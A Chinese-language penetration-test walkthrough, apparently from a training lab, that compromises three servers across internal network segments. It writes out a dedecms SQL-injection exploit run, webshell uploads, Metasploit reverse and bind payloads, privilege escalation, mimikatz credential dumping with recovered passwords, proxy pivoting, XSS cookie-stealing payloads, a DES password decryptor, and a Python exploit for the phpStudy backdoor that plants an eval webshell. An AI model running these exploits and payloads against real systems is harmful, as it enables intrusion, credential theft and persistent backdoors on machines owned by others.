文章目录

  • 零、本章所用技术
  • 一、网络示意图
  • 二、信息收集之端口探测
    • 2.1端口探测
    • 2.2探测出的端口服务
  • 三、信息收集之子域名挖掘
  • 四、漏洞测试
    • 4.1 dedecms 安全检测
      • 4.1.0 网站指纹识别
      • 4.1.1 Sql注入
      • 4.1.2 后台GetShell
      • 4.1.3 上传ASPX大马
      • 4.1.4 MSF提权
    • 4.2 WW2网址测试
      • 4.2.1 使域gobuster进行目录扫描
      • 4.2.2 前台sql注入
      • 4.2.3 前端反馈处xss打cookie
      • 4.2.4 后台sql注入
      • 4.2.5 注入拿shell
      • 4.2.6 后台编辑器漏洞
      • 4.2.7 简单代码审计之前端xss
      • 4.2.8 逆向分析dll文件
      • 4.2.9 解密软件的编写
    • 4.3 内网横向渗透
      • 4.3.1 获取hash与明文密码。
      • 4.3.2 配置路由及代理
      • 4.3.3 让数据服务器上线msf
      • 4.3.4 获取数据服务器的hash与明文密码
      • 4.3.5 配置数据服务器路由及其代理
      • 4.3.6 编写PHP study利用py脚本
      • 4.3.7 SocksCap64 设置本机代理
      • 4.3.8 将最后的web服务器上线msf
  • 五、总结(常规二段内网)
    • 5.1 外网服务器
    • 5.2 数据库服务器
    • 5.3 内网服务器

零、本章所用技术

高质量的多网段的渗透测试完整实例,对三层网段的目标进行检测。从信息收集->漏洞测试->源代码审计->工具编写->逆向密文->服务器提权->隧道应用->目标获取,

使用工具包括单不限于,

masscan、nmap、wfuzz、中国蚁剑、ILSpy、burpsuite、gobuster、vs2012、metasploit、sockscap、proxychains3.

一、网络示意图

二、信息收集之端口探测

2.1端口探测

使用masscan扫描,这个比nmap扫描的快,但是没有一些端口详细的信息。
Masscan -p 1-65535 192.168.0.134 --rate=1000

我们可以先用masscan探测存活端口,在使用nmap对存活端口探测详细。

上面一处端口是135,不是13。-sC  根据端口识别的服务,调用默认脚本,比如445端口就试试永恒之蓝。-oA    是将扫描结果导出。

2.2探测出的端口服务


,


,

三、信息收集之子域名挖掘

可以使用Onoforall或者挖掘机或者fofa等等。这里演示就使用kali自带的wfuzz进行爆破子域名。
wfuzz -w /usr/share/amass/wordlists/subdomains-top1mil-5000.txt -u cc123.com -H "Host:FUZZ.cc123.com" --hw 53
hw是过滤的意思。

扫描结果如下:

四、漏洞测试

4.1 dedecms 安全检测

4.1.0 网站指纹识别
先查看当前cms的版本,http://new.cc123.com/data/admin/ver.txt 。

经测试发现会员系统开放注册 http://new.cc123.com/member/

我们随便注册一个用户。账户:asd,123456。

4.1.1 Sql注入
这个dedecms的20150618版本是存在后台注入的。

将cookie与脚本放在一起。

直接使用exp去打命令:“ Python2 exp.py http://new.cc123.com ”

密文812df726be884ddcfc41解密:admin7788
4.1.2 后台GetShell
访问http://new.cc123.com/dede/  使用账户密码登录。

上传木马,

连接蚁剑。

4.1.3 上传ASPX大马
在终端执行命令失败,一般是权限不足。

上传aspx大马。一般aspx的权限是大于php文件的。为什么上传aspx大马就能行?  直觉。

我们试着执行命令,发现可以执行。

4.1.4 MSF提权
MSF生成木马,

使用ASPX大马上传,直接上传成功,不成功的话,就上传一个查询可读可写目录的脚本。


MSF执行监听。

msf5 > use exploit/multi/handler msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcppayload => windows/meterpreter/reverse_tcpmsf5 exploit(multi/handler) > set lhost 192.168.0.105lhost => 192.168.0.105msf5 exploit(multi/handler) > set lport 12345lport => 12345msf5 exploit(multi/handler) > run

在大马那执行命令运行木马。看来还是不行,得换个目录在上传MSF木马。

上传一个查询可读可写文件夹得脚本。上传成功后,我们执行访问查找。

上传MSF木马,

再次执行MSF木马,

查看返回得会话,

此时权限还是比较低。


将当前会话放置后台,启动本地提权查询模块。设置参数session

msf5 exploit(multi/handler) > use post/multi/recon/local_exploit_suggester msf5 post(multi/recon/local_exploit_suggester) > set session 1sessions => 1msf5 post(multi/recon/local_exploit_suggester) > run

找到一堆,

一般推荐使用“ ms16_075_reflection_juicy ”。即上图倒数第二个。执行后,我们直接拿到了system权限。

4.2 WW2网址测试

上一个网址直接拿到system权限,我们就换下一个网址继续。
4.2.1 使域gobuster进行目录扫描
不知道指纹得网站,先扫描一下目录,
gobuster dir -u http://ww2.cc123.com -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x "aspx,html" -o ww2dir
当然使用什么工具都可以。Gobuster是go语言写的一个不错得工具,可以干很多事情。查看结果,发现后台地址,以及其他一些地址。

4.2.2 前台sql注入

用户名处输入admin’--+1直接进入后台。

这有一个小细节,我们输入的admin’--+1,直接显示到了桌面。猜测存在xss。我们使用  “  admin'--+<script>alert(1)</script>  ”来登录,果然不出所料。

这里还有一个小彩蛋是,我们肯定不是上来就直接试得admin’--+ ;能这么试的前提是此系统还存在验证码多次使用的缺陷漏洞。此时,已经可以用sqlmap跑了,但是是延时盲注,先记录此点继续。

4.2.3 前端反馈处xss打cookie
上边我们得知,网站对xss也是没有过滤的。在目录扫描的时候发现一个前台反馈界面。有个小问题是此页面在火狐正常打开,在谷歌反而打不开。

测试提交,

貌似没有弹窗,我们点进去看看。

直接弹窗

配合xss平台,可以直接打出更大的危改。

4.2.4 后台sql注入
登录处都存在注入,后台基本必定存在。找个地方跑跑。

很自然的就跑出注入。

4.2.5 注入拿shell
查看一下,当前数据库与用户。

爆破当前数据库的admin表格,但是没有什么内容(没有获取到)。

算了,sa用户的话,很大概率可以直接拿shell了,试试。直接拿到shell,并且是系统最高权限。

查看当前服务器网络信息发现与网站服务器并不是一个。看来是站库分离。即程序跟数据库不在一个服务器,让这个数据服务器更加的安全,进而数据更加安全。

到此第二个服务器拿下。
4.2.6 后台编辑器漏洞
此时,我们继续看看后台有没有别的东西。发现后台一个上传点,经过测试是白名单,有点难搞。

继续看看别的地方。还是不行,上周传之后还会重命名,微顶。

但是,在测试过程发现编辑器的身影。

经过信息收集,编辑器信息为“ KindEditor 4.1.7 ”版。

网上查询相关漏洞,发现修改“ dir=file ”可以上传html,但是无法上传脚本文件。好吧,微微鸡肋的洞,通过此漏洞可以造成挂黑页,与存储型xss。上传一个弹cookie的html测试。

访问上传页面,弹窗cookie。

4.2.7 简单代码审计之前端xss
到此后台都逛了逛,没什么有意思的事情,我们去MSF看看前台源代码。采用蚁剑配合msf寻找网站根目录,

看到一个mystat.aspx 文件。

看看源码,

meterpreter > cat mystat.aspx

<%@ page language="c#" runat="server" %>
<script language="c#" runat="server">
public string strStyle;
public string strtheurl;
public void Page_Load(Object src,EventArgs e)
{NameValueCollection ServerVariables = Request.ServerVariables;strStyle=Request.QueryString["style"];strtheurl=ServerVariables["URL"].ToString();strtheurl=strtheurl.Substring(0,strtheurl.IndexOf("mystat.aspx",0,strtheurl.Length));strtheurl="http://"+ServerVariables["HTTP_HOST"].ToString()+strtheurl;}
</script>
document.write("<script>var style='<%=strStyle%>';var url='<%=strtheurl%>';</script>")
_dwrite("<script language=javascript src="+url+"stat.aspx?style="+style+"&referer="+escape(document.referrer)+"&screenwidth="+(screen.width)+"></script>");
function _dwrite(string) {document.write(string);}
我们发现这个style参数可控,且没有任何过滤,

上来直接一把梭哈,http://ww2.cc123.com/mystat.aspx?style=%27;(prompt)``//

4.2.8 逆向分析dll文件
继续看看别的文件,发现一些文件内容都很少,这是遇到伪静态页面处理了。可以结合网站根目录下的配置文件判断,内容代码一般都在bin目录下。

看看bin目录,发现大量dll文件。

将源代码都下载下来。

将文件拖到主机上,

直接用记事本打开是 乱码的,

此时可以用一个逆向dll文件的工具,来看看源代码。

4.2.9 解密软件的编写
一个小知识点是网站根目录下的配置文件一定要看看。

不出意外,找到连接数据库的账户密码,
key="ConnectionString" value="server=WIN-JJU7KU45PN7;database=grcms_data;uid=sa;pwd=!@#a123.."

使用我们的大马可以直接进行连接,

找到我们之前用sqlmap没有跑出的账户密码,但是直接md5是无法破解的。admin     AE5F6187F32825CA   cc123    B97C57DB005F954242450A255217DA9F

去看看源码,找一下加密解密代码。将后台登录。

找到login,找到此 dll  文件。

看到是调用了一个类,传入两个参数,

查看一下此类,

加密类旁边就是解密类,具体内容如下:
// StringClass
public static string Decrypt(string pToDecrypt, string sKey)
{DESCryptoServiceProvider dESCryptoServiceProvider = new DESCryptoServiceProvider();byte[] array = new byte[pToDecrypt.Length / 2];for (int i = 0; i < pToDecrypt.Length / 2; i++){int num = Convert.ToInt32(pToDecrypt.Substring(i * 2, 2), 16);array[i] = (byte)num;}dESCryptoServiceProvider.Key = Encoding.ASCII.GetBytes(sKey);dESCryptoServiceProvider.IV = Encoding.ASCII.GetBytes(sKey);MemoryStream memoryStream = new MemoryStream();CryptoStream cryptoStream = new CryptoStream(memoryStream, dESCryptoServiceProvider.CreateDecryptor(), CryptoStreamMode.Write);cryptoStream.Write(array, 0, array.Length);cryptoStream.FlushFinalBlock();new StringBuilder();return Encoding.Default.GetString(memoryStream.ToArray());
}

貌似我们只需要传入需要解密的字符串与key就行了,key可以在上边找到。打开VS 2012,创建一个新项目。

编写外观及其使用窗体:


.

接着双击“解密按钮”来将上面“ 解密类 ”的代码粘贴进去。

爆红代码,解析导出。

完成“ 解密按钮 ”的代码编写。

测试效果,


,


admin    AE5F6187F32825CA                       cc123cc123   B97C57DB005F954242450A255217DA9F       qweasd123

4.3 内网横向渗透

Ok,到上面。我们已经拿下web服务器与数据库服务器。
4.3.1 获取hash与明文密码。
返回msf首先就是要迁移进程,但是这里有个小坑。一般迁移进程都是迁移到系统进程“ explorer.exe ”,即任务管理器中。但是此时web服务器ps查看,explorer.exe  并不是 系统权限进程,不然还需要提权,或者bypass UAC,因为administrator权限还是存在部分限制。

我们迁入一个系统服务进程中 “  migrate   2608  ”。第一次迁移失败,提示该进程已经不存在,那就换个。

Run hashdump来获取一下hash,

来加载mimikatz来尝试读取明文密码。mimikatz_command -f sekurlsa::searchPasswords得到管理员的账户密码“ Administrator  !@#Qwe123. ”

有时候,抓到hash但是抓不到明文密码的时候,可以去在线网站破解如:http://www.objectif-securite.ch/
4.3.2 配置路由及代理
通过ipconfig与run get_local_subnets来看看当前机器所处的网段。

用run autoroute -s 10.10.10.0/24  添加路由进行内网渗透。

用run autoroute -p来查看是否添加成功,

启动 socks 代理,use auxiliary/server/socks4a

我们先看看此时能不能访问数据服务器(10.10.10.136)

此时在,修改proxychains配置文件“  sudo vim /etc/proxychains.conf ”。

成功扫描,

扫描完成:proxychains nmap -sT -Pn 10.10.10.136

扫描完毕这些端口,其实就可以
4.3.3 让数据服务器上线msf
此时,数据服务不能出网。思路是生成msf木马上传到数据服务器,msf正向连接木马。当然,搭建隧道的话也可以,这个后边回说。下边是生成正向连接木马命令,msfvenom -p windows/meterpreter/bind_tcp Lport=13777 -f exe > bind.exe

通过aspx大马进行上传,

等待一会,上传成功。

我们手动执行上传的木马,

切换监听的payload,因为上边我们攻击web服务器是反弹会话,此时的payload还是反弹会话的,所以我们要切换。

配置完成。

进行正向连接,攻击成功。

4.3.4 获取数据服务器的hash与明文密码

使用猕猴桃获取hash与明文需要注意:

mimikatz模块的使用需要Administrator权限或者System权限。MSF中自带mimikatz模块,MSF中的 mimikatz 模块同时支持32位和64位的系统,但是该模块默认是加载32位的系统,所以如果目标主机是64位系统的话,直接默认加载该模块会导致很多功能无法使用。而且在64位系统下必须先查看系统进程列表,然后将meterpreter进程迁移到一个64位程序的进程中,才能加载mimikatz并且查看系统明文。但是在32位系统下则没有这个限制。
使用命令:hashdump

使用命令: mimikatz_command -f sekurlsa::searchPasswords

4.3.5 配置数据服务器路由及其代理
在msf中新增路由Run get_loacl_subnetsrun autoroute -s 10.10.1.0/24run autoroute -p

这里的话,代理上边已经配置过了,就不用再次配置了。使用nmap测试一下。

我们使用代理来访问80端口,

4.3.6 编写PHP study利用py脚本
从页面中,我们发现这是一个2014版本的phpstudy,在之前爆出的后门版本中属于受害者。

Exp:

import requests
import sys
import base64shell = "system('" +  sys.argv[1]  + "');"
shell_base64 = base64.b64encode(shell.encode('utf-8'))
url = "http://10.10.1.129/"headers={'Accept-Encoding':'gzip,deflate','accept-charset':shell_base64}html = requests.get(url=url,headers=headers).textprint(html)

但是这么看,有点难受。我们使用正则匹配仅仅输出执行的命令。

Exp:

import requests
import sys
import base64
import reshell = "system('" +  sys.argv[1]  + "');"
shell_base64 = base64.b64encode(shell.encode('utf-8'))
url = "http://10.10.1.129/"headers={'Accept-Encoding':'gzip,deflate','accept-charset':shell_base64}html = requests.get(url=url,headers=headers).text
re_shell = re.findall(r"(.+?)<!DOCTYPE",html,re.S)
for i in re_shell:
print(i)

写入shell,
proxychains python3 a.py "echo ^<?php @eval(\$_REQUEST[\"shell\"])?^>>c:\phpstudy\WWW\shell.php"
4.3.7 SocksCap64 设置本机代理
我们新增一个代理。

顺手将菜刀拖进来。

测试能否代理,是可以的。

我们来添加,连接一波。

Ok,顺利上线。

4.3.8 将最后的web服务器上线msf
将刚刚msf生成的bind.exe拖到本机来,通过菜刀上传。

手动运行木马,

Msf启动正向连接,进行设置。

连接测试。

到此,三台机器全被拿下。

老规矩,先看看hash与明文。不过先要迁移应用。然后hashdump直接整出来机器hash。

我们加载猕猴桃,读取本地明文密码。

我们进入目标主机shell,看看还有没有其他机器。

Ok,完活。

五、总结(常规二段内网)

5.1 外网服务器

通过信息收集到目标站点是dedecms,通过注入拿下后台,进而getshell。权限不太够,上传aspx大马,进而上传msf木马,提权。

5.2 数据库服务器

翻找网站配置信息发现数据库账户,通过大马直接连接。增加路由搭建代理,上传msf正向木马到数据库服务器,成功上线msf,

5.3 内网服务器

在数据库服务器上继续增加路由(此时不用在配置代理了),扫描最后一台主机,通过phpstudy后门拿下,写马,本机通过代理连接菜刀。用过菜刀上传msf木马,成功上线msf。

内网渗透思路06之一次完整的渗透测试相关推荐

  1. 内网中CobaltStrike4.0(CS4)的渗透之旅

    前言 这是老以前做的一个,主要熟悉一下cs4的新特性,还是发出来看看吧,流程简单一些,但是内网流程还是比较完整的.大家可以看看 本次靶机为红日安全的ATT&CK第五个靶场. http://vu ...

  2. 红日靶场vulnstack1 内网渗透学习

    目录 前言: 信息收集: phpmyadmin getshell 日志写shell yxcms getshell 植入后们: 内网域环境信息收集: 基于msf 进行信息收集: 基于msf 内网信息收集 ...

  3. frp内网穿透—将kali代理在公网中进行渗透测试

    文章目录 前言 Frp简介 准备工具 实现内网穿透 frp服务端配置 frp客户端配置 测试 HTTP服务测试 ssh服务测试 反弹shell测试 注意 前言 由于工作常需要用到kali,但是公网服务 ...

  4. 使用Lanproxy搭建内网穿透服务完整教程

    本文主要记录了使用基于Docker的Lanproxy搭建内网穿透服务的过程,其中包括服务端和客户端的详细配置,并且基于宝塔面板的Nginx实现域名绑定.反向代理与SSL. 本文主要内容: 1. 解决的 ...

  5. 我用 CF 打穿了他的云上内网

    文章首发于:火线Zone社区:https://zone.huoxian.cn/d/1341-cf 作者:TeamsSix 0x00 前言 最近在做项目的时候,测到了一个部署在云上的存在 Laravel ...

  6. 论道攻防|内网防护三大神器带你“行兵布阵”

    攻防实战中内网防护缺失 近年来,随着全球范围内网络实战发生的频率越高,采用的技术难度越高,各国之间也加大对攻防演练的重视.不管是网络实战还是攻防演练的对抗过程中,防守方不仅要防止外部突破,也要防止内部 ...

  7. 内网穿透工具natcross2

    natcross2 内网穿透工具 natcross是做什么的? 需要自己提供硬件支持.部署的内网穿透工具 提供TCP协议类型的内网穿透服务,包括但不限于http(s).数据库连接.ssh等协议 支持h ...

  8. 使用frp搭建自己的内网穿透

    背景 微信开发等场景需要使用公网地址,但开发者本地通常没有公网IP,需要搭建内网穿透来方便调试.通常可以使用花生壳.Ngrok.frp等.花生壳需要实名认证, 需要6块钱,且使用别人服务器有一定的安全 ...

  9. vue+iview 内网预览(本文重点)+外网预览word、excel、pdf、ppt

    访问内网文件思路如下: 1.后端将word.excel.pdf文件转为二进制文件流 前端将文件流转为html从而实现文件预览 2.pdf没这么复杂具体可看下文 3.ppt的实现方式是后端将ppt转为p ...

最新文章

  1. 【机器视觉】 until算子
  2. Halcon求取矩形顶点坐标
  3. java并发编程(二十一)----(JUC集合)CopyOnWriteArraySet和ConcurrentSkipListSet介绍
  4. poj 2886Who Gets the Most Candies?
  5. leetcode603. 连续空余座位(SQL)
  6. Spring事务管理(注解式声明事务管理)备忘
  7. Scala基础 - 函数和方法的区别
  8. windows 护眼颜色修改
  9. 大学生创业实战 - 代充的套利故事
  10. mysql两种事务管理器_MyBatis事务管理的两种方式
  11. ftp服务器文件不让上传,ftp服务器不让上传文件
  12. dxf制作kml_kml到dxf
  13. 小兔子从小就想做一只很酷的兔子。
  14. [leetcode]Python实现-746.使用最小花费爬楼梯
  15. java entries_Enumerationlt;? extends ZipEntrygt; entries()_学习Java Zip|WIKI教程
  16. 解决sublime text2字体显示模糊问题
  17. B站科技区 up主 关注排名
  18. 基于FPGA的DDS信号发生器
  19. CAD中遇到几个奇怪问题的解决
  20. 基于ARM的微机原理-Cortex-M3处理器

热门文章

  1. 计算机无法验证此文件,电脑提示0xc0000428无法验证此文件的解决方法
  2. 即时通讯新手入门:一文读懂什么是Nginx?它能否实现IM的负载均衡?
  3. 表单校验 —— 只检验某一项
  4. LoRa模块未来发展趋势会怎样?
  5. 渗透测试 | APP信息收集
  6. 2022全新Java学习路线图动力节点(三)数据库
  7. php 图片 mysql_php显示MySQL图片
  8. XAudio2 (一)
  9. pandas 排序 给excel_给Excel重度用户准备的Pandas教程:用Pandas逐帧还原20个Excel常用操作...
  10. PhpWord 输出换行符回车符